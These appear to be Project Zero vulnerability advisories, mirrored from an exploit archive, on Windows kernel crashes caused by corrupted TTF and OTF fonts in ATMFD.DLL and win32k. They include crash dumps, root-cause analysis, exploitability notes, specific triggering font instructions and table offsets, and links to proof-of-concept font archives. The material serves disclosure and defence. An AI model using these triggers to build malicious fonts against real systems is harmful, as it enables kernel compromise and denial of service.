97ff8d3c 91a3440b 00000000 fff82008 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
97ff8de8 91a345f7 fb6ba380 0000000b fb6ba3ac ATMFD+0x3440b
97ff8e10 91a29eec fb63e8c0 ff6770d8 91a463ec ATMFD+0x345f7
97ff8e34 91a2e987 fb8f4c70 91a463ec 00000f5c ATMFD+0x29eec
97ff9544 91a2f6e0 fb8f4c70 91a3f028 97ff9790 ATMFD+0x2e987
97ff9600 91a227ae fb8f4c70 91a3f028 97ff9790 ATMFD+0x2f6e0
97ff96ec 91a22858 fb8f4c70 97ff9790 97ff9814 ATMFD+0x227ae
97ff9718 91a132b2 fb8f4c70 91a3f028 97ff9790 ATMFD+0x22858
97ff987c 91a13689 ffffffff 97ff999c fb68af58 ATMFD+0x132b2
97ff98d0 91a0406d ffffffff 97ff999c 00000000 ATMFD+0x13689
97ff9924 91b2dcf2 ff7a5010 fb700cf0 00000001 ATMFD+0x406d
97ff996c 91b167cb ff7a5010 fb700cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
97ff99e0 91b41513 ffa6a130 fb93cb14 000000e0 win32k!xInsertMetricsRFONTOBJ+0x9c
97ff9a14 91b435f5 00000020 97ff9a3c 97ff9c74 win32k!RFONTOBJ::bGetGlyphMetrics+0x131
97ff9cb8 91b56684 020101c3 00000100 00000020 win32k!GreGetCharABCWidthsW+0x147
97ff9d14 82682a66 020101c3 000000c0 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
97ff9d14 76ee70f4 020101c3 000000c0 00000040 nt!KiSystemServicePostCall
002cf224 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet
---
The crash represents a read from invalid memory; prior to being dereferenced as an address, the ESI register is loaded with a value from EAX+0x30 (on 32-bit Windows), which points into an "Adbe" pool allocation:
---
0: kd> !pool 9d619018
Pool page 9d619018 region is Paged session pool
9d619000 is not a valid large pool allocation, checking large session pool...
*9d619000 : large page allocation, Tag is Adbe, size is 0x4018 bytes
Pooltag Adbe : Adobe's font driver
---
The surrounding code is a loop over a linked list of structures; the ESI register at the time of the crash holds a [F/B]link address which points to unmapped memory, potentially suggesting that the root cause of the crash is a use-after-free condition, or some kind of corruption of the linked list. Since the invalid address is later used to manipulate memory, we expect that this issue could be used to achieve remote code execution in the security context of the Windows kernel.
Moreover, we have also encountered similar crashes one instruction further in the code - in these cases, ESI turned out to accidentally point to mapped memory, but its contents did not correspond to the ATMFD's expectations (reinforcing the use-after-free hypothesis), thus resulting in an attempt to dereference a completely wild memory address, e.g.:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: eebd8451, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 9205440e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000002, (reserved)
---
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it should also be possible to observe a crash on a default Windows installation in ATMFD.DLL.
Note that this crash is very similar in its nature to Issue 383 (invalid memory access while traversing a linked list of "Adbe" structures); however, due to uncertainty about the reason of the crash and the different stack traces, I am filing this as a separate report for now.
Attached is an archive with six proof of concept font files (three for each crash location) together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37921.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=385&can=1
We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: a3a3a3db, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 91f445c9, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000002, (reserved)
Debugging Details:
------------------
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
WRITE_ADDRESS: a3a3a3db
FAULTING_IP:
ATMFD+345c9
91f445c9 83483810 or dword ptr [eax+38h],10h
MM_INTERNAL_CODE: 2
IMAGE_NAME: ATMFD.DLL
DEBUG_FLR_IMAGE_TIMESTAMP: 54e6a55a
MODULE_NAME: ATMFD
FAULTING_MODULE: 91f10000 ATMFD
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
TRAP_FRAME: 879cfd8c -- (.trap 0xffffffff879cfd8c)
ErrCode = 00000002
eax=a3a3a3a3 ebx=00000008 ecx=00000004 edx=fb964900 esi=fb80e380 edi=fb80e3a0
eip=91f445c9 esp=879cfe00 ebp=879cfe10 iopl=0 nv up ei ng nz ac pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010297
ATMFD+0x345c9:
91f445c9 83483810 or dword ptr [eax+38h],10h ds:0023:a3a3a3db=????????
Resetting default scope
LAST_CONTROL_TRANSFER: from 826f4ce7 to 826902d8
STACK_TEXT:
879cf8dc 826f4ce7 00000003 5e64199c 00000065 nt!RtlpBreakWithStatusInstruction
879cf92c 826f57e5 00000003 c06028e8 a3a3a3db nt!KiBugCheckDebugBreak+0x1c
879cfcf0 826a3391 00000050 a3a3a3db 00000001 nt!KeBugCheck2+0x68b
879cfd74 82655c48 00000001 a3a3a3db 00000000 nt!MmAccessFault+0x104
879cfd74 91f445c9 00000001 a3a3a3db 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
879cfe10 91f39eec fb964900 ff657038 91f563ec ATMFD+0x345c9
879cfe34 91f3e987 fb9bec70 91f563ec 00000f5c ATMFD+0x29eec
879d0544 91f3f6e0 fb9bec70 91f4f028 879d0790 ATMFD+0x2e987
879d0600 91f327ae fb9bec70 91f4f028 879d0790 ATMFD+0x2f6e0
879d06ec 91f32858 fb9bec70 879d0790 879d0814 ATMFD+0x227ae
879d0718 91f232b2 fb9bec70 91f4f028 879d0790 ATMFD+0x22858
879d087c 91f23689 ffffffff 879d099c fb874f58 ATMFD+0x132b2
879d08d0 91f1406d ffffffff 879d099c 00000000 ATMFD+0x13689
879d0924 91c7dcf2 ff7a5010 fbeeccf0 00000001 ATMFD+0x406d
879d096c 91c667cb ff7a5010 fbeeccf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
879d09e0 91c91513 ffa6a130 fb81e8d0 0000004f win32k!xInsertMetricsRFONTOBJ+0x9c
879d0a14 91c935f5 00000020 879d0b2c 879d0c92 win32k!RFONTOBJ::bGetGlyphMetrics+0x131
879d0cb8 91ca6684 040101b7 00000060 00000040 win32k!GreGetCharABCWidthsW+0x147
879d0d14 82652a66 040101b7 00000040 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
879d0d14 771870f4 040101b7 00000040 00000040 nt!KiSystemServicePostCall
0012f1d4 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet
---
The crash occurs while trying to modify memory under an invalid address. More specifically, the "a3a3a3a3" bytes found in the EAX register at the time of the crash are a repetition of a random byte filled by Driver Verifier in each pool allocation before returning it to the caller. This means that the dereferenced pointer is in fact an uninitialized value from the kernel pool.
The offending code (containing the crashing instruction) is as follows:
---
.text:000445C6 loc_445C6:
.text:000445C6 mov eax, [esi+ecx*4]
.text:000445C9 or dword ptr [eax+38h], 10h
.text:000445CD inc ecx
.text:000445CE cmp ecx, ebx
.text:000445D0 jl short loc_445C6
---
As shown above, there is a loop iterating EBX times over an array of addresses stored in [ESI]. At the time of the bugcheck, EBX=8, so the code expects 8 valid pointers in the array; however, only 4 pointers are properly initialized:
---
kd> dd fb80e380
fb80e380 fb964980 fb9649c0 fb964900 fb964940
fb80e390 a3a3a3a3 a3a3a3a3 a3a3a3a3 a3a3a3a3
fb80e3a0 a3a3a3a3 a3a3a3a3 a3a3a3a3 a3a3a3a3
---
The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it should also be possible to observe a crash on a default Windows installation in ATMFD.DLL.
Attached is an archive with two proof of concept font files together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37920.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=368&can=1
We have encountered a number of Windows kernel crashes in the win32k!itrp_IUP function (a handler of the IUP[] TTF program instruction) while processing corrupted TTF font files, such as:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ff6895b8, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 91f4a4f1, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
[...]
FAULTING_IP:
win32k!itrp_IUP+2fb
91f4a4f1 8904b2 mov dword ptr [edx+esi*4],eax
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 91f4bc79 to 91f4a4f1
STACK_TEXT:
8adcf3b8 91f4bc79 00000001 91f517d3 00000000 win32k!itrp_IUP+0x2fb
8adcf3c0 91f517d3 00000000 ff64eb28 00b61838 win32k!itrp_InnerExecute+0x38
8adcf3f8 91f4bc79 ff64eb28 91f4f088 ff64ebbc win32k!itrp_CALL+0x23b
8adcf400 91f4f088 ff64ebbc ff64eb84 ff64f95c win32k!itrp_InnerExecute+0x38
8adcf480 91f53234 00b61804 00b61838 ff64eb28 win32k!itrp_Execute+0x2b2
8adcf4a8 91f529dc 00b61804 00b61838 ff64eb28 win32k!itrp_ExecuteGlyphPgm+0x4a
8adcf4dc 91f51e5e ff64a570 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x102
8adcf574 91f5238c ff64a250 ff64b73c ff64eb28 win32k!fsg_ExecuteGlyph+0x1ce
8adcf5d0 91f52202 ff64a250 ff64eb28 ff64b6b4 win32k!fsg_CreateGlyphData+0xea
8adcf610 91f4f419 ff64a250 ff64eb28 ff64a2c4 win32k!fsg_GridFit+0x4d
8adcf688 91f5906c 00000001 8adcf6a4 91f58fc3 win32k!fs__Contour+0x287
8adcf694 91f58fc3 ff64a010 ff64a07c 8adcf6c0 win32k!fs_ContourGridFit+0x12
8adcf6a4 91f5991f ff64a010 ff64a07c 00000027 win32k!fs_NewContourGridFit+0x10
8adcf6c0 91f59960 fb8b0e78 00000027 8adcf6fc win32k!bGetGlyphOutline+0xd7
8adcf6e8 91f59b59 fb8b0e78 00000027 00000001 win32k!bGetGlyphMetrics+0x20
8adcf82c 91f4ec63 fb8b0e78 00000027 8adcf918 win32k!lGetGlyphBitmap+0x2b
8adcf850 91f4eab6 00000000 00000001 00000027 win32k!ttfdQueryFontData+0x158
8adcf8a0 91f4dce2 ff7af010 fba32cf0 00000001 win32k!ttfdSemQueryFontData+0x45
8adcf8e8 91f53774 ff7af010 fba32cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
8adcf960 91fcbc8d 8adcfc3c fb87ec00 ff6470cc win32k!xInsertMetricsPlusRFONTOBJ+0x120
8adcf990 91f4594d 0000000a ff7bf000 8adcfcd0 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
8adcf9c8 91fcb78b 8adcfc1c 8adcfc3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
8adcfa0c 91f455d0 8adcfcd0 0000000a 8adcfc1c win32k!ESTROBJ::vInit+0x268
8adcfc2c 91f45793 00000000 8adcfcd0 fba32cf0 win32k!GreGetTextExtentExW+0x12a
8adcfd0c 82657896 0801016f 02d90bac 0000000a win32k!NtGdiGetTextExtentExW+0x141
8adcfd0c 77b370f4 0801016f 02d90bac 0000000a nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0021f6c4 00000000 00000000 00000000 00000000 0x77b370f4
---
Depending on the malformed font file, the crashes occur at various locations in the win32k!itrp_IUP function, such as:
win32k!itrp_IUP+141: test [esi+edx], cl
win32k!itrp_IUP+173: test [eax+edx], cl
win32k!itrp_IUP+17b: mov eax, [ecx+ebx*4]
win32k!itrp_IUP+184: mov ecx, [ecx]
win32k!itrp_IUP+213: mov eax, [ebx]
win32k!itrp_IUP+2c9: mov eax, [eax+esi*4]
win32k!itrp_IUP+2fb: mov [edx+esi*4], eax
win32k!itrp_IUP+317: add [eax+esi*4], edx
This is caused by the fact that the function operates (reads from and writes to) on memory well beyond of the dynamically allocated buffers, leading to a pool-based buffer overflow of controlled size and content, consequently allowing for remote code execution in the context of the Windows kernel.
It appears that the culprit of the vulnerability is the lack of handling of a corner case explicitly mentioned in the "The TrueType Instruction Set, Part 2" specification [1]:
"This instruction operates on points in the glyph zone pointed to by zp2. This zone should almost always be zone 1. Applying IUP to zone 0 is an error."
Every testcase we have examined contains an SZP2[] instruction ("Set Zone Pointer 2") with a 0 argument followed by the IUP[] instruction later on in the TTF program. The faulty instruction stream has the same outcome regardless of its location (i.e. font pre-program, glyph program etc.).
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for win32k.sys (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation in the form of a crash in win32k!itrp_IUP or another location in kernel space, as caused by the corrupted pool state, depending on the specific testcase used.
Attached is an archive with eight sample files, each crashing at a different location in the win32k!itrp_IUP function on Windows 7 32-bit, together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37919.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=370&can=1
We have encountered a number of Windows kernel crashes in the win32k!scl_ApplyTranslation function while processing corrupted TTF font files, such as:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ff6c7000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 94860935, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
[...]
FAULTING_IP:
win32k!scl_ApplyTranslation+9b
94860935 011487 add dword ptr [edi+eax*4],edx
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 94862292 to 94860935
STACK_TEXT:
8ad915ec 94862292 00000001 00000000 00000000 win32k!scl_ApplyTranslation+0x9b
8ad91610 9485f419 ff6ae250 ff6b24d8 ff6ae2c4 win32k!fsg_GridFit+0xdd
8ad91688 9486906c 00000001 8ad916a4 94868fc3 win32k!fs__Contour+0x287
8ad91694 94868fc3 ff6ae010 ff6ae07c 8ad916c0 win32k!fs_ContourGridFit+0x12
8ad916a4 9486991f ff6ae010 ff6ae07c 000000a4 win32k!fs_NewContourGridFit+0x10
8ad916c0 94869960 fc380e78 000000a4 8ad916fc win32k!bGetGlyphOutline+0xd7
8ad916e8 94869b59 fc380e78 000000a4 00000001 win32k!bGetGlyphMetrics+0x20
8ad9182c 9485ec63 fc380e78 000000a4 8ad91918 win32k!lGetGlyphBitmap+0x2b
8ad91850 9485eab6 00000000 00000001 000000a4 win32k!ttfdQueryFontData+0x158
8ad918a0 9485dce2 ff7af010 fbb4acf0 00000001 win32k!ttfdSemQueryFontData+0x45
8ad918e8 94863774 ff7af010 fbb4acf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
8ad91960 948dbc8d 8ad91c3c fba6cd68 ff6deca8 win32k!xInsertMetricsPlusRFONTOBJ+0x120
8ad91990 9485594d 0000000a ff7bf090 8ad91ce2 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
8ad919c8 948db78b 8ad91c1c 8ad91c3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
8ad91a0c 948555d0 8ad91cd0 0000000a 8ad91c1c win32k!ESTROBJ::vInit+0x268
8ad91c2c 94855793 00000000 8ad91cd0 fbb4acf0 win32k!GreGetTextExtentExW+0x12a
8ad91d0c 82645896 03010292 007c0bac 0000000a win32k!NtGdiGetTextExtentExW+0x141
8ad91d0c 772470f4 03010292 007c0bac 0000000a nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0021f9ac 00000000 00000000 00000000 00000000 0x772470f4
---
Depending on the malformed font file, the crashes are triggered at various locations in the win32k!scl_ApplyTranslation function:
win32k!scl_ApplyTranslation+43
win32k!scl_ApplyTranslation+9b
The crashes always occur while trying to access memory outside of a dynamically allocated destination buffer, leading to a pool-based buffer overflow, potentially allowing for remote code execution in the context of the Windows kernel. While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "maxp" and "hmtx" tables.
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for win32k.sys (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation in win32k!scl_ApplyTranslation or another location in kernel space, as caused by the corrupted pool state, depending on the specific testcase used. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is an archive with three proof of concept font files together with corresponding kernel crash logs.
---------------------------------------------------------------------------------------------------------------------------------------------
While performing further analysis of some of the offending samples, we have found that sometimes buffers and structures in the pools align such that this condition causes an overwrite of function pointers residing in the font's fnt_GlobalGraphicStateType structure, consequently leading to crashes at invalid EIPs when one of these pointers is subsequently called. Several crashes such as the one shown below have been reproduced on Windows 7 32-bit with Special Pools enabled for win32k.sys:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: c1c00dc1, memory referenced.
Arg2: 00000008, value 0 = read operation, 1 = write operation.
Arg3: c1c00dc1, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000002, (reserved)
[...]
FAULTING_IP:
+0
c1c00dc1 ?? ???
MM_INTERNAL_CODE: 2
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 9224a9cc to c1c00dc1
STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
994574b4 9224a9cc 99457504 fb5a2efc fb5a2e94 0xc1c00dc1
994574c8 92244483 00000000 00000001 00000001 win32k!scl_CalcComponentOffset+0x21
99457538 92261ef8 00000800 fb5a2e94 fb5a2e94 win32k!fsg_MergeGlyphData+0x12a
99457574 9226238c fb5a2250 fb5a2f1c fb5a348c win32k!fsg_ExecuteGlyph+0x268
994575d0 92262202 fb5a2250 fb5a348c fb5a2ddc win32k!fsg_CreateGlyphData+0xea
99457610 9225f419 fb5a2250 fb5a348c fb5a22c4 win32k!fsg_GridFit+0x4d
99457688 9226906c 00000000 994576a4 92268fc3 win32k!fs__Contour+0x287
99457694 92268fc3 fb5a2010 fb5a207c 994576c0 win32k!fs_ContourGridFit+0x12
994576a4 9226991f fb5a2010 fb5a207c 00000080 win32k!fs_NewContourGridFit+0x10
994576c0 92269960 fbc5ee78 00000080 994576fc win32k!bGetGlyphOutline+0xd7
994576e8 92269b59 fbc5ee78 00000080 00000001 win32k!bGetGlyphMetrics+0x20
9945782c 9225ec63 fbc5ee78 00000080 99457918 win32k!lGetGlyphBitmap+0x2b
99457850 9225eab6 00000000 00000001 00000080 win32k!ttfdQueryFontData+0x158
994578a0 9225dce2 ff7af010 fe37ecf0 00000001 win32k!ttfdSemQueryFontData+0x45
994578e8 92263774 ff7af010 fe37ecf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
99457960 922dbc8d 99457c3c fbc2ebd8 ff6687fc win32k!xInsertMetricsPlusRFONTOBJ+0x120
99457990 9225594d 00000008 ff7bf040 99457cd8 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
994579c8 922db78b 99457c1c 99457c3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
99457a0c 922555d0 99457cd0 00000008 99457c1c win32k!ESTROBJ::vInit+0x268
99457c2c 92255793 00000000 99457cd0 fe37ecf0 win32k!GreGetTextExtentExW+0x12a
99457d0c 82646896 060102a1 00150bb0 00000008 win32k!NtGdiGetTextExtentExW+0x141
99457d0c 77a070f4 060102a1 00150bb0 00000008 nt!KiSystemServicePostCall
0028f27c 00000000 00000000 00000000 00000000 0x77a070f4
---
I am attaching another archive with further 3 samples triggering crashes at invalid EIPs (as called by win32k!scl_CalcComponentOffset) on my test environment, together with corresponding crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37918.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=386&can=1
We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as:
---
DRIVER_PAGE_FAULT_IN_FREED_SPECIAL_POOL (d5)
Memory was referenced after it was freed.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fc937cdf, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 91d75195, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
READ_ADDRESS: GetPointerFromAddress: unable to read from 827a784c
Unable to read MiSystemVaType memory at 82786f00
fc937cdf
FAULTING_IP:
ATMFD+35195
91d75195 803802 cmp byte ptr [eax],2
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0xD5
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 91d7598d to 91d75195
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
8ba91638 91d7598d 8ba91890 00af0000 8ba91890 ATMFD+0x35195
8ba91730 91d74ee4 8ba91890 00af0000 8ba9174c ATMFD+0x3598d
8ba91834 91d75044 8ba91890 00af0000 8ba91968 ATMFD+0x34ee4
8ba91868 91d4512a 00000000 8ba91890 00af0000 ATMFD+0x35044
8ba91908 91d4718f 00000004 00000001 00000002 ATMFD+0x512a
8ba91988 91d43c8e 00000000 00000000 98435600 ATMFD+0x718f
8ba91a6c 91a67a9a 00000004 fc97efc0 fc95eff8 ATMFD+0x3c8e
8ba91ab4 91a679ec 00000001 fc97efc0 fc95eff8 win32k!PDEVOBJ::LoadFontFile+0x3c
8ba91af4 91a6742d ffa66130 00000019 fc97efc0 win32k!vLoadFontFileView+0x291
8ba91b80 91a5641f 8ba91c58 00000019 00000001 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x209
8ba91bcc 91a57403 8ba91c58 00000019 00000001 win32k!GreAddFontResourceWInternal+0xfb
8ba91d14 8267a896 000d3e78 00000019 00000001 win32k!NtGdiAddFontResourceW+0x142
8ba91d14 779c70f4 000d3e78 00000019 00000001 nt!KiSystemServicePostCall
002efa84 00000000 00000000 00000000 00000000 0x779c70f4
---
The bugcheck is caused by an attempt to read memory from an unmapped address. The specific expression being dereferenced by ATMFD.DLL is "base address of the Name INDEX data + NAME.offset[x] - 1", however no bounds checking is performed over the value of NAME.offset[x] before using it for pointer arithmetic. To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of.
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it should also be possible to observe a crash on a default Windows installation in ATMFD.DLL.
Attached is an archive with three proof of concept font files together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37917.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=392&can=1
We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as:
---
DRIVER_PAGE_FAULT_IN_FREED_SPECIAL_POOL (d5)
Memory was referenced after it was freed.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ff404e04, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 9194bf53, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
READ_ADDRESS: GetPointerFromAddress: unable to read from 8276e84c
Unable to read MiSystemVaType memory at 8274df00
ff404e04
FAULTING_IP:
ATMFD+bf53
9194bf53 8a18 mov bl,byte ptr [eax]
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0xD5
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 919477af to 9194bf53
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
9806b938 919477af 099e0403 fbfe2cf0 00000001 ATMFD+0xbf53
9806ba40 91943fe1 00000001 9806ba64 099e04c7 ATMFD+0x77af
9806ba84 916adce2 ff7af010 fbfe2cf0 00000001 ATMFD+0x3fe1
9806bacc 916ade59 ff7af010 fbfe2cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
9806bb40 916ab971 00000002 9806bcf4 00000000 win32k!RFONTOBJ::bInitCache+0xd4
9806bbfc 91727bb0 9806bcdc 9806bca0 00000007 win32k!RFONTOBJ::bRealizeFont+0x5df
9806bca8 91727deb fc17cd80 00000000 00000002 win32k!RFONTOBJ::bInit+0x2e3
9806bcc0 917549a0 9806bcdc 00000000 00000002 win32k!RFONTOBJ::vInit+0x16
9806bcec 91754a59 fbfe2cf0 00000000 0980f8a5 win32k!GreGetFontUnicodeRanges+0x2d
9806bd24 82641896 0d01016e 00000000 0017fcc4 win32k!NtGdiGetFontUnicodeRanges+0x17
9806bd24 779970f4 0d01016e 00000000 0017fcc4 nt!KiSystemServicePostCall
0017fcc4 00000000 00000000 00000000 00000000 0x779970f4
---
The bugcheck is caused by an attempt to read memory from an unmapped address. Specifically, the function is responsible for parsing the FDSelect region, and the crashing instruction is responsible for checking the version byte (can be either 0 or 3). The reason of the bugcheck is the fact that the kernel doesn't perform any bounds checking against the 32-bit FDSelect offset specified in the Top DICT, key "12 37", and instead uses it directly as an index into a user-mode input data buffer. While invalid user-mode memory accesses are gracefully handled by ATMFD, the controlled offset can be set on 32-bit platforms such that it points into kernel space, thus resulting in a reproducible system bugcheck.
To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of.
The issue reproduces on reliably Windows 7 and 8.1. It is easiest to reproduce and possibly exploit on 32-bit versions of Windows, as the "buffer + 32-bit controlled offset" expression evaluates to a kernel-mode address, while on 64-bit platforms it remains in the user space area and therefore the exception is gracefully handled by the ATMFD.DLL exception handler.
Attached is an archive with two proof of concept font files together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37916.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=401&can=1
We have encountered a Windows kernel crash in the win32k!fsc_RemoveDups function while processing corrupted TTF font files, such as:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ff6e7000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 91e809df, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
READ_ADDRESS: GetPointerFromAddress: unable to read from 8277c84c
Unable to read MiSystemVaType memory at 8275bf00
ff6e7000
FAULTING_IP:
win32k!fsc_RemoveDups+85
91e809df 3918 cmp dword ptr [eax],ebx
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 91e8015c to 91e809df
STACK_TEXT:
969e3624 91e8015c 969e3858 fbff0e78 0000002b win32k!fsc_RemoveDups+0x85
969e36cc 91e89979 ff6de010 ff6de07c 00000001 win32k!fs_FindBitMapSize+0x2de
969e36e8 91e89b59 fbff0e78 0000002b 00000001 win32k!bGetGlyphMetrics+0x39
969e382c 91e7ec63 fbff0e78 0000002b 969e3918 win32k!lGetGlyphBitmap+0x2b
969e3850 91e7eab6 00000000 00000001 0000002b win32k!ttfdQueryFontData+0x158
969e38a0 91e7dce2 ff7af010 fbe0ccf0 00000001 win32k!ttfdSemQueryFontData+0x45
969e38e8 91e83774 ff7af010 fbe0ccf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
969e3960 91efbc8d 969e3c3c fbe2cc94 ff713154 win32k!xInsertMetricsPlusRFONTOBJ+0x120
